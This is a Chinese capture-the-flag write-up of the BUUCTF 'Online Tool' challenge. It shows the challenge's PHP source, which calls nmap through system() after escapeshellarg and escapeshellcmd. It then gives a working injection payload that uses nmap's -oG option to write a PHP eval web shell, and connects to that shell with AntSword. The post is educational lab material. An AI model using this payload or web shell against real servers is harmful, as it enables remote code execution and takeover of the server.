[BUUCTF 2018]Online Tool 1

1.发现

1.1打开题目地址发现为PHP代码审计。

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {    //获取IP
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);  //对文件语法进行高亮显示
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);   //把字符串转码成可以在shell命令里使用的参数,将单引号进行转义,转义之后,再在左右加单引号
    $host = escapeshellcmd($host);   //对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义,将&#;`|*?~<>^()[]{}$\, \x0A和\xFF以及不配对的单/双引号转义
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);   //新建目录,默认权限,最大可能的访问权
    chdir($sandbox);    //改变目录路径,成功返回true,失败返回false
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
    // -sT,在目标主机的日志上记录大批连接请求和错误的信息
    // -Pn,扫描之前不需要用ping命令,有些防火墙禁止使用ping命令
    // -T5,时间优化参数,-T0~5,-T0扫描端口的周期大约为5分钟,-T5大约为5秒钟
    // --host-time限制扫描时间
    // -F,快速扫描

 1.2关键点在于这个两个函数,这两个函数结合在一起使用,且先调用escapeshellarg函数的时候,有危险。

$host = escapeshellarg($host);   
$host = escapeshellcmd($host);

2.步骤

2.1构造payload,得到文件夹。

?host=' <?php @eval($_POST["tx"]);?> -oG mortals.php '

 

 2.2用蚁剑链接,得到flag。

☆★http://a3ee6eba-716a-4add-903c-f68e5c4478cb.node4.buuoj.cn:81/1cdc3c07b1b397d1d20acafd6ab4c471/hack.php

 

 

 

 3.借鉴

BUUCTF复现记录2 - mortals-tx - 博客园 (cnblogs.com)

 

posted @ 2021-10-29 20:03  WeQi_Blog  阅读(402)  评论(0编辑  收藏  举报